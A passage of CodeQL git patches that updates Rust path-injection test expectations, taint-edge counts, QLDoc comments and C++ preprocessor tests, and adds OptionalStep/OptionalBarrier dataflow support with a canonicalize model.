src/main.rs:8:35:8:43 | file_name | provenance | | | src/main.rs:8:9:8:17 | file_path | src/main.rs:10:24:10:32 | file_path | provenance | | | src/main.rs:8:21:8:44 | ...::from(...) | src/main.rs:8:9:8:17 | file_path | provenance | | -| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:3 | +| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:4 | | src/main.rs:10:24:10:32 | file_path | src/main.rs:10:5:10:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | -| src/main.rs:14:36:14:44 | file_name | src/main.rs:19:35:19:43 | file_name | provenance | | -| src/main.rs:19:9:19:17 | file_path | src/main.rs:20:24:20:32 | file_path | provenance | | -| src/main.rs:19:21:19:44 | ...::from(...) | src/main.rs:19:9:19:17 | file_path | provenance | | -| src/main.rs:19:35:19:43 | file_name | src/main.rs:19:21:19:44 | ...::from(...) | provenance | MaD:3 | -| src/main.rs:20:24:20:32 | file_path | src/main.rs:20:5:20:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | | src/main.rs:37:11:37:19 | file_path | src/main.rs:40:52:40:60 | file_path | provenance | | | src/main.rs:40:9:40:17 | file_path | src/main.rs:45:24:45:32 | file_path | provenance | | | src/main.rs:40:21:40:62 | public_path.join(...) | src/main.rs:40:9:40:17 | file_path | provenance | | -| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:2 | -| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:3 | +| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:3 | +| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:4 | | src/main.rs:45:24:45:32 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | +| src/main.rs:50:11:50:19 | file_path | src/main.rs:53:52:53:60 | file_path | provenance | | +| src/main.rs:53:9:53:17 | file_path | src/main.rs:54:21:54:29 | file_path | provenance | | +| src/main.rs:53:21:53:62 | public_path.join(...) | src/main.rs:53:9:53:17 | file_path | provenance | | +| src/main.rs:53:38:53:61 | ...::from(...) | src/main.rs:53:21:53:62 | public_path.join(...) | provenance | MaD:3 | +| src/main.rs:53:52:53:60 | file_path | src/main.rs:53:38:53:61 | ...::from(...) | provenance | MaD:4 | +| src/main.rs:54:9:54:17 | file_path | src/main.rs:59:24:59:32 | file_path | provenance | | +| src/main.rs:54:21:54:29 | file_path | src/main.rs:54:21:54:44 | file_path.canonicalize(...) | provenance | Config | +| src/main.rs:54:21:54:44 | file_path.canonicalize(...) | src/main.rs:54:21:54:53 | ... .unwrap(...) | provenance | MaD:2 | +| src/main.rs:54:21:54:53 | ... .unwrap(...) | src/main.rs:54:9:54:17 | file_path | provenance | | +| src/main.rs:59:24:59:32 | file_path | src/main.rs:59:5:59:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | models | 1 | Sink: lang:std; crate::fs::read_to_string; path-injection; Argument[0] | -| 2 | Summary: lang:std; ::join; Argument[0]; ReturnValue; taint | -| 3 | Summary: lang:std; ::from; Argument[0]; ReturnValue; taint | +| 2 | Summary: lang:core; ::unwrap; Argument[self]; ReturnValue; taint | +| 3 | Summary: lang:std; ::join; Argument[0]; ReturnValue; taint | +| 4 | Summary: lang:std; ::from; Argument[0]; ReturnValue; taint | nodes | src/main.rs:6:11:6:19 | file_name | semmle.label | file_name | | src/main.rs:8:9:8:17 | file_path | semmle.label | file_path | @@ -30,12 +36,6 @@ nodes | src/main.rs:8:35:8:43 | file_name | semmle.label | file_name | | src/main.rs:10:5:10:22 | ...::read_to_string | semmle.label | ...::read_to_string | | src/main.rs:10:24:10:32 | file_path | semmle.label | file_path | -| src/main.rs:14:36:14:44 | file_name | semmle.label | file_name | -| src/main.rs:19:9:19:17 | file_path | semmle.label | file_path | -| src/main.rs:19:21:19:44 | ...::from(...) | semmle.label | ...::from(...) | -| src/main.rs:19:35:19:43 | file_name | semmle.label | file_name | -| src/main.rs:20:5:20:22 | ...::read_to_string | semmle.label | ...::read_to_string | -| src/main.rs:20:24:20:32 | file_path | semmle.label | file_path | | src/main.rs:37:11:37:19 | file_path | semmle.label | file_path | | src/main.rs:40:9:40:17 | file_path | semmle.label | file_path | | src/main.rs:40:21:40:62 | public_path.join(...) | semmle.label | public_path.join(...) | @@ -43,9 +43,15 @@ nodes | src/main.rs:40:52:40:60 | file_path | semmle.label | file_path | | src/main.rs:45:5:45:22 | ...::read_to_string | semmle.label | ...::read_to_string | | src/main.rs:45:24:45:32 | file_path | semmle.label | file_path | +| src/main.rs:50:11:50:19 | file_path | semmle.label | file_path | +| src/main.rs:53:9:53:17 | file_path | semmle.label | file_path | +| src/main.rs:53:21:53:62 | public_path.join(...) | semmle.label | public_path.join(...) | +| src/main.rs:53:38:53:61 | ...::from(...) | semmle.label | ...::from(...) | +| src/main.rs:53:52:53:60 | file_path | semmle.label | file_path | +| src/main.rs:54:9:54:17 | file_path | semmle.label | file_path | +| src/main.rs:54:21:54:29 | file_path | semmle.label | file_path | +| src/main.rs:54:21:54:44 | file_path.canonicalize(...) | semmle.label | file_path.canonicalize(...) | +| src/main.rs:54:21:54:53 | ... .unwrap(...) | semmle.label | ... .unwrap(...) | +| src/main.rs:59:5:59:22 | ...::read_to_string | semmle.label | ...::read_to_string | +| src/main.rs:59:24:59:32 | file_path | semmle.label | file_path | subpaths -testFailures -| src/main.rs:14:36:14:44 | file_name | Unexpected result: Source | -| src/main.rs:20:5:20:22 | ...::read_to_string | Unexpected result: Alert | -| src/main.rs:50:38:50:56 | //... | Missing result: Source=remote5 | -| src/main.rs:59:64:59:122 | //... | Missing result: Alert[rust/path-injection]=remote5 | From a3cc695da4280f42f4b8ad08db3b45f3c846fba1 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 13 Mar 2025 18:41:06 +0100 Subject: [PATCH 018/121] Rust: update integration test output --- rust/ql/integration-tests/hello-project/summary.expected | 2 +- .../ql/integration-tests/hello-workspace/summary.cargo.expected | 2 +- .../hello-workspace/summary.rust-project.expected | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/rust/ql/integration-tests/hello-project/summary.expected b/rust/ql/integration-tests/hello-project/summary.expected index 3599902243c..cf658b379b2 100644 --- a/rust/ql/integration-tests/hello-project/summary.expected +++ b/rust/ql/integration-tests/hello-project/summary.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1671 | +| Taint edges - number of edges | 1675 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected index 3fbea6c4641..999ce1c8b2f 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1671 | +| Taint edges - number of edges | 1675 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected index 3fbea6c4641..999ce1c8b2f 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1671 | +| Taint edges - number of edges | 1675 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | From 81f954a42ed3c36bea6ce519ae2ea0c2c80df638 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 13 Mar 2025 19:10:29 +0100 Subject: [PATCH 019/121] Rust: add missing QLDocs --- rust/ql/lib/codeql/rust/Concepts.qll | 1 + rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll | 4 ++++ rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll | 3 +++ 3 files changed, 8 insertions(+) diff --git a/rust/ql/lib/codeql/rust/Concepts.qll b/rust/ql/lib/codeql/rust/Concepts.qll index 70f0a2422e5..5eb1cdb2252 100644 --- a/rust/ql/lib/codeql/rust/Concepts.qll +++ b/rust/ql/lib/codeql/rust/Concepts.qll @@ -290,6 +290,7 @@ module Path { } } + /** A data-flow node that checks that a path is safe to access. */ class SafeAccessCheck extends DataFlow::ExprNode { SafeAccessCheck() { this = DataFlow::BarrierGuard::getABarrierNode() } } diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index efabdb1c6dd..1d21e1838c7 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -1,3 +1,7 @@ +/** + * Provides classes modeling security-relevant aspects of the standard libraries. + */ + private import rust private import codeql.rust.Concepts private import codeql.rust.controlflow.ControlFlowGraph as Cfg diff --git a/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll index cfaeb6c0980..df8c43212b3 100644 --- a/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll @@ -30,6 +30,9 @@ module TaintedPath { */ abstract class Barrier extends DataFlow::Node { } + /** + * A sanitizer guard for path-traversal vulnerabilities. + */ class SanitizerGuard extends DataFlow::Node { SanitizerGuard() { this = DataFlow::BarrierGuard::getABarrierNode() } } From 11c71f03f342385c5c096ef28225139adbe3984a Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 19 Mar 2025 16:34:00 +0100 Subject: [PATCH 020/121] C++: Accept changes after C++ extractor preprocessor fix --- .../preprocessor/preprocessor/pp.cpp | 42 +++++++++++++++++-- .../preprocessor/preproc.expected | 20 ++++++++- 2 files changed, 57 insertions(+), 5 deletions(-) diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp index 70fada58da9..651a1d7f28b 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp @@ -10,7 +10,7 @@ // semmle-extractor-options: -I${testdir}/more_headers/ "-U SOME_SYM" #undef BAR #define SCARY(a,aa,aaah) /* we ignore a */ (aa /* but we take aa */) /* and we ignore aaa */ -#define LOG(fmt, ...) printf("Warning: %s", fmt, __VA__ARGS__) +#define LOG(fmt, ...) printf("Warning: %s", fmt, __VA__ARGS__) #include "pp.h" #if 0 @@ -59,7 +59,7 @@ public: #else #define IN_TEMPLATE #endif - + static int val; }; @@ -71,7 +71,43 @@ templateClassContext tcci; #define BAR -#if defined(BAR) && \ +#if defined(BAR) &&\ defined(BAR) #warning BAR defined #endif + +#if defined MACROTHREE/**hello*/ && /*world*/\ +/*hw*/(defined(MACROONE)) /* macroone */ +#endif + +#if defined SIMPLE_COMMENT //this comment \ + (defined(SIMPLE_COMMENT)) spans over multiple lines +#endif + +#if defined(FOO) &&\ + defined(BAR) +#define CONDITIONAL_MACRO_1 1 +#endif + +#if defined(FOO) && \ + defined(BAR) && \ + !defined(BAZ) +#define CONDITIONAL_MACRO_2 2 +#endif + +#define FOO 8 +#define BAR 2 +#define BAZ 4 +#if ((FOO / BAR) \ + == 4) && ((BAZ \ + * QUX) \ + > 10) +#define CONDITIONAL_MACRO_3 3 +#endif + +// Testing \t spaced PreprocessorIf +#if defined(FOO) && \ + defined(BAR) && \ + defined(BAZ) +#define CONDITIONAL_MACRO_4 4 +#endif diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected index d1b64ff7bd9..0a472deafbe 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected @@ -38,12 +38,28 @@ | pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 69 | 1 | 69 | 21 | Macro | INSTANTIATION | | | pp.cpp:0:0:0:0 | pp.cpp | 72 | 1 | 72 | 11 | Macro | BAR | | -| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 74 | 21 | PreprocessorIf | defined(BAR) && \\ | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 13 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 76 | 1 | 76 | 20 | PreprocessorWarning | BAR defined | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 77 | 1 | 77 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 18 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 81 | 1 | 81 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 84 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 85 | 1 | 85 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 15 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 90 | 1 | 90 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 14 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 96 | 1 | 96 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 98 | 1 | 98 | 13 | Macro | FOO | 8 | +| pp.cpp:0:0:0:0 | pp.cpp | 99 | 1 | 99 | 13 | Macro | BAR | 2 | +| pp.cpp:0:0:0:0 | pp.cpp | 100 | 1 | 100 | 13 | Macro | BAZ | 4 | +| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 3 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 106 | 1 | 106 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 10 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 112 | 1 | 112 | 29 | Macro | CONDITIONAL_MACRO_4 | 4 | +| pp.cpp:0:0:0:0 | pp.cpp | 113 | 1 | 113 | 6 | PreprocessorEndif | N/A | N/A | | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A | | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A | -| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | +| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | | pp.h:0:0:0:0 | pp.h | 4 | 1 | 4 | 30 | PreprocessorPragma | byte_order(big_endian) | N/A | | pp.h:0:0:0:0 | pp.h | 5 | 1 | 5 | 33 | PreprocessorWarning | "Not in Kansas any more" | N/A | | pp.h:0:0:0:0 | pp.h | 7 | 1 | 11 | 8 | Macro | MULTILINE | world a long | From d3e28772ae80c48690100858db3be4caad621427 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 18 Mar 2025 17:06:46 +0100 Subject: [PATCH 021/121] Rust/Python improve qldoc of SafeAccessCheck --- python/ql/lib/semmle/python/Concepts.qll | 4 ++-- rust/ql/lib/codeql/rust/Concepts.qll | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/python/ql/lib/semmle/python/Concepts.qll b/python/ql/lib/semmle/python/Concepts.qll index 94d660d7510..27f622c7c86 100644 --- a/python/ql/lib/semmle/python/Concepts.qll +++ b/python/ql/lib/semmle/python/Concepts.qll @@ -181,7 +181,7 @@ module Path { } } - /** A data-flow node that checks that a path is safe to access. */ + /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */ class SafeAccessCheck extends DataFlow::ExprNode { SafeAccessCheck() { this = DataFlow::BarrierGuard::getABarrierNode() } } @@ -192,7 +192,7 @@ module Path { /** Provides a class for modeling new path safety checks. */ module SafeAccessCheck { - /** A data-flow node that checks that a path is safe to access. */ + /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */ abstract class Range extends DataFlow::GuardNode { /** Holds if this guard validates `node` upon evaluating to `branch`. */ abstract predicate checks(ControlFlowNode node, boolean branch); diff --git a/rust/ql/lib/codeql/rust/Concepts.qll b/rust/ql/lib/codeql/rust/Concepts.qll index 5eb1cdb2252..6c7fad5409c 100644 --- a/rust/ql/lib/codeql/rust/Concepts.qll +++ b/rust/ql/lib/codeql/rust/Concepts.qll @@ -290,7 +290,7 @@ module Path { } } - /** A data-flow node that checks that a path is safe to access. */ + /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */ class SafeAccessCheck extends DataFlow::ExprNode { SafeAccessCheck() { this = DataFlow::BarrierGuard::getABarrierNode() } } @@ -301,7 +301,7 @@ module Path { /** Provides a class for modeling new path safety checks. */ module SafeAccessCheck { - /** A data-flow node that checks that a path is safe to access. */ + /** A data-flow node that checks that a path is safe to access in some way, for example by having a controlled prefix. */ abstract class Range extends CfgNodes::AstCfgNode { /** Holds if this guard validates `node` upon evaluating to `branch`. */ abstract predicate checks(Cfg::CfgNode node, boolean branch); From 5a91b94395e65408d32312e323aacd2785208594 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 14 Mar 2025 17:30:30 +0100 Subject: [PATCH 022/121] Refactor using OptionalStep --- .../hello-project/summary.expected | 2 +- .../hello-workspace/summary.cargo.expected | 2 +- .../summary.rust-project.expected | 2 +- .../codeql/rust/dataflow/internal/Content.qll | 35 +++++++++++ .../rust/dataflow/internal/DataFlowImpl.qll | 59 ++++++++++++++++++- .../dataflow/internal/FlowSummaryImpl.qll | 15 ++++- .../dataflow/internal/TaintTrackingImpl.qll | 4 +- .../codeql/rust/frameworks/stdlib/Stdlib.qll | 15 ----- .../rust/frameworks/stdlib/fs.model.yml | 1 + .../frameworks/stdlib/lang-core.model.yml | 3 - .../queries/security/CWE-022/TaintedPath.ql | 11 +++- .../diagnostics/SummaryStats.expected | 2 +- .../security/CWE-020/RegexInjection.expected | 2 +- .../security/CWE-022/TaintedPath.expected | 25 ++++---- 14 files changed, 135 insertions(+), 43 deletions(-) diff --git a/rust/ql/integration-tests/hello-project/summary.expected b/rust/ql/integration-tests/hello-project/summary.expected index cf658b379b2..1dd49972c22 100644 --- a/rust/ql/integration-tests/hello-project/summary.expected +++ b/rust/ql/integration-tests/hello-project/summary.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1675 | +| Taint edges - number of edges | 1674 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected index 999ce1c8b2f..53f9c345b96 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1675 | +| Taint edges - number of edges | 1674 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected index 999ce1c8b2f..53f9c345b96 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1675 | +| Taint edges - number of edges | 1674 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll index f9ad0a02cb7..d67085c62f8 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll @@ -214,6 +214,41 @@ final class SingletonContentSet extends ContentSet, TSingletonContentSet { override Content getAReadContent() { result = c } } +/** + * A step in a flow summary defined using `OptionalStep[name]`. An `OptionalStep` is "opt-in", which means + * that by default the step is not present in the flow summary and needs to be explicitly enabled by defining + * an additional flow step. + */ +final class OptionalStep extends ContentSet, TOptionalStep { + override string toString() { + exists(string name | + this = TOptionalStep(name) and + result = "OptionalStep[" + name + "]" + ) + } + + override Content getAStoreContent() { none() } + + override Content getAReadContent() { none() } +} + +/** + * A step in a flow summary defined using `OptionalBarrier[name]`. An `OptionalBarrier` is "opt-out", by default + * data can flow freely through the step. Flow through the step can be explicity blocked by defining its node as a barrier. + */ +final class OptionalBarrier extends ContentSet, TOptionalBarrier { + override string toString() { + exists(string name | + this = TOptionalBarrier(name) and + result = "OptionalBarrier[" + name + "]" + ) + } + + override Content getAStoreContent() { none() } + + override Content getAReadContent() { none() } +} + private import codeql.rust.internal.CachedStages cached diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index b589fe4ad6f..bcb1a7bb9ff 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -581,6 +581,12 @@ module RustDataFlow implements InputSig { model = "" or LocalFlow::flowSummaryLocalStep(nodeFrom, nodeTo, model) + or + // Add flow through optional barriers. This step is then blocked by the barrier for queries that choose to use the barrier. + FlowSummaryImpl::Private::Steps::summaryReadStep(nodeFrom + .(Node::FlowSummaryNode) + .getSummaryNode(), TOptionalBarrier(_), nodeTo.(Node::FlowSummaryNode).getSummaryNode()) and + model = "" } /** @@ -710,7 +716,8 @@ module RustDataFlow implements InputSig { ) or FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(FlowSummaryNode).getSummaryNode(), cs, - node2.(FlowSummaryNode).getSummaryNode()) + node2.(FlowSummaryNode).getSummaryNode()) and + not isSpecialContentSet(cs) } pragma[nomagic] @@ -807,7 +814,8 @@ module RustDataFlow implements InputSig { storeContentStep(node1, cs.(SingletonContentSet).getContent(), node2) or FlowSummaryImpl::Private::Steps::summaryStoreStep(node1.(FlowSummaryNode).getSummaryNode(), cs, - node2.(FlowSummaryNode).getSummaryNode()) + node2.(FlowSummaryNode).getSummaryNode()) and + not isSpecialContentSet(cs) } /** @@ -1093,7 +1101,24 @@ private module Cached { newtype TReturnKind = TNormalReturnKind() cached - newtype TContentSet = TSingletonContentSet(Content c) + newtype TContentSet = + TSingletonContentSet(Content c) or + TOptionalStep(string name) { + name = any(FlowSummaryImpl::Private::AccessPathToken tok).getAnArgument("OptionalStep") + } or + TOptionalBarrier(string name) { + name = any(FlowSummaryImpl::Private::AccessPathToken tok).getAnArgument("OptionalBarrier") + } + + /** + * Holds if `cs` is used to encode a special operation as a content component, but should not + * be treated as an ordinary content component. + */ + cached + predicate isSpecialContentSet(ContentSet cs) { + cs instanceof TOptionalStep or + cs instanceof TOptionalBarrier + } /** Holds if `n` is a flow source of kind `kind`. */ cached @@ -1105,3 +1130,31 @@ private module Cached { } import Cached + +cached +private module OptionalSteps { + /** + * A step in a flow summary defined using `OptionalStep[name]`. An `OptionalStep` is "opt-in", which means + * that by default the step is not present in the flow summary and needs to be explicitly enabled by defining + * an additional flow step. + */ + cached + predicate optionalStep(Node node1, string name, Node node2) { + FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(FlowSummaryNode).getSummaryNode(), + TOptionalStep(name), node2.(FlowSummaryNode).getSummaryNode()) or + FlowSummaryImpl::Private::Steps::summaryStoreStep(node1.(FlowSummaryNode).getSummaryNode(), + TOptionalStep(name), node2.(FlowSummaryNode).getSummaryNode()) + } + + /** + * A step in a flow summary defined using `OptionalBarrier[name]`. An `OptionalBarrier` is "opt-out", by default + * data can flow freely through the step. Flow through the step can be explicity blocked by defining its node as a barrier. + */ + cached + predicate optionalBarrier(Node node, string name) { + FlowSummaryImpl::Private::Steps::summaryReadStep(_, TOptionalBarrier(name), + node.(FlowSummaryNode).getSummaryNode()) + } +} + +import OptionalSteps diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll index 31c5b5b01aa..3497346a599 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/FlowSummaryImpl.qll @@ -54,7 +54,7 @@ module Input implements InputSig { RustDataFlow::ArgumentPosition callbackSelfParameterPosition() { result.isClosureSelf() } - ReturnKind getStandardReturnValueKind() { result = TNormalReturnKind() } + ReturnKind getStandardReturnValueKind() { result = TNormalReturnKind() and Stage::ref() } string encodeParameterPosition(ParameterPosition pos) { result = pos.toString() } @@ -105,6 +105,10 @@ module Input implements InputSig { c = TFutureContent() and arg = "" ) + or + cs = TOptionalStep(arg) and result = "OptionalStep" + or + cs = TOptionalBarrier(arg) and result = "OptionalBarrier" } string encodeReturn(ReturnKind rk, string arg) { none() } @@ -193,3 +197,12 @@ module ParsePositions { i = AccessPath::parseInt(c) } } + +cached +module Stage { + cached + predicate ref() { 1 = 1 } + + cached + predicate backref() { optionalStep(_, _, _) } +} diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll index 7cef3b58f55..8e0bd794720 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll @@ -69,7 +69,9 @@ module RustTaintTracking implements InputSig { exists(Content c | c = cs.(SingletonContentSet).getContent() | c instanceof ElementContent or c instanceof ReferenceContent - ) + ) and + // Optional steps are added through isAdditionalFlowStep but we don't want the implicit reads + not optionalStep(node, _, _) } /** diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll index 1d21e1838c7..9fc0e70833b 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -21,18 +21,3 @@ private class StartswithCall extends Path::SafeAccessCheck::Range, CfgNodes::Met branch = true } } - -/** - * A call to `Path.canonicalize`. - * See https://doc.rust-lang.org/std/path/struct.Path.html#method.canonicalize - */ -private class PathCanonicalizeCall extends Path::PathNormalization::Range { - CfgNodes::MethodCallExprCfgNode call; - - PathCanonicalizeCall() { - call = this.asExpr() and - call.getAstNode().(Resolvable).getResolvedPath() = "::canonicalize" - } - - override DataFlow::Node getPathArg() { result.asExpr() = call.getReceiver() } -} diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml index e18b8da171d..03d41f2a78c 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml @@ -16,4 +16,5 @@ extensions: - ["lang:std", "::from", "Argument[0]", "ReturnValue", "taint", "manual"] - ["lang:std", "::join", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:std", "::join", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["lang:std", "::canonicalize", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].OptionalStep[normalize-path]", "taint", "manual"] - ["lang:std", "::canonicalize", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml index ed3893aa350..a2f6b15ab2c 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml +++ 